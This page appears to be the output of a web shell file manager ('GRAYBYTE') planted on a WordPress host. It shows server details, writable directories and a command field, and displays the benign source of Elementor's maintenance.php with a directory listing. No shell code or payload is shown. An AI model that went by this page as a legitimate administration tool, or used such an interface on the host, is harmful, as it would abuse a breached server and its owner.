GRAYBYTE WORDPRESS FILE MANAGER7391

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/elementor/includes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/elementor/includes//maintenance.php
<?php
namespace Elementor;

use Elementor\Core\Kits\Manager;
use Elementor\Core\Upgrade\Manager as Upgrade_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor maintenance.
 *
 * Elementor maintenance handler class is responsible for setting up Elementor
 * activation and uninstallation hooks.
 *
 * @since 1.0.0
 */
class Maintenance {

	/**
	 * Activate Elementor.
	 *
	 * Set Elementor activation hook.
	 *
	 * Fired by `register_activation_hook` when the plugin is activated.
	 *
	 * @param bool $network_wide
	 * @since 1.0.0
	 * @access public
	 * @static
	 */
	public static function activation( $network_wide ) {
		wp_clear_scheduled_hook( 'elementor/tracker/send_event' );

		wp_schedule_event( time(), 'daily', 'elementor/tracker/send_event' );
		flush_rewrite_rules();

		if ( is_multisite() && $network_wide ) {
			static::create_default_kit(
				get_sites( [
					'fields' => 'ids',
				] )
			);

			return;
		}

		static::create_default_kit();
		static::insert_defaults_options();

		set_transient( 'elementor_activation_redirect', true, MINUTE_IN_SECONDS );
	}

	public static function insert_defaults_options() {
		$history = Upgrade_Manager::get_installs_history();
		if ( empty( $history ) ) {
			$default_options = [
				'elementor_font_display' => 'swap',
			];
			foreach ( $default_options as $option_name => $option_value ) {
				if ( \Elementor\Utils::is_empty( get_option( $option_name ) ) ) {
					add_option( $option_name, $option_value );
				}
			}
		}
	}

	public static function deactivation() {
		Api::get_deactivation_data();
	}

	/**
	 * Uninstall Elementor.
	 *
	 * Set Elementor uninstallation hook.
	 *
	 * Fired by `register_uninstall_hook` when the plugin is uninstalled.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 */
	public static function uninstall() {
		wp_clear_scheduled_hook( 'elementor/tracker/send_event' );

		Api::get_uninstalled_data();
	}

	/**
	 * Init.
	 *
	 * Initialize Elementor Maintenance.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 */
	public static function init() {
		register_activation_hook( ELEMENTOR_PLUGIN_BASE, [ __CLASS__, 'activation' ] );
		register_deactivation_hook( ELEMENTOR_PLUGIN_BASE, [ __CLASS__, 'deactivation' ] );
		register_uninstall_hook( ELEMENTOR_PLUGIN_BASE, [ __CLASS__, 'uninstall' ] );

		add_action( 'wpmu_new_blog', function ( $site_id ) {
			if ( ! is_plugin_active_for_network( ELEMENTOR_PLUGIN_BASE ) ) {
				return;
			}

			static::create_default_kit( [ $site_id ] );
		} );
	}

	/**
	 * @param array $site_ids
	 */
	private static function create_default_kit( array $site_ids = [] ) {
		if ( ! empty( $site_ids ) ) {
			foreach ( $site_ids as $site_id ) {
				switch_to_blog( $site_id );

				Manager::create_default_kit();

				restore_current_blog();
			}

			return;
		}

		Manager::create_default_kit();
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
admin-templates
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
base
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
container
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
controls
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
editor-templates
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
elements
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
interfaces
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
libraries
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
managers
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
settings
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
template-library
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
widgets
--
July 10 2025 08:35:42
giriqfky / giriqfky
0755
api.php
7.29 KB
January 20 2025 19:15:08
giriqfky / giriqfky
0644
autoloader.php
9.492 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
beta-testers.php
2.987 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
compatibility.php
10.958 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
conditions.php
2.703 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
db.php
15.563 KB
April 28 2025 11:15:16
giriqfky / giriqfky
0644
editor-assets-api.php
1.765 KB
December 10 2024 19:19:32
giriqfky / giriqfky
0644
embed.php
8.476 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
fonts.php
62.528 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
frontend.php
38.156 KB
June 10 2025 13:36:30
giriqfky / giriqfky
0644
heartbeat.php
2.573 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
maintenance-mode.php
11.129 KB
February 29 2024 16:51:58
giriqfky / giriqfky
0644
maintenance.php
2.813 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
plugin.php
16.669 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
preview.php
7.624 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
rollback.php
3.632 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
shapes.php
6.408 KB
June 24 2024 16:01:30
giriqfky / giriqfky
0644
stylesheet.php
8.909 KB
August 25 2024 17:59:38
giriqfky / giriqfky
0644
tracker.php
16.846 KB
July 07 2025 16:02:28
giriqfky / giriqfky
0644
user.php
10 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
utils.php
23.478 KB
May 28 2025 13:48:50
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF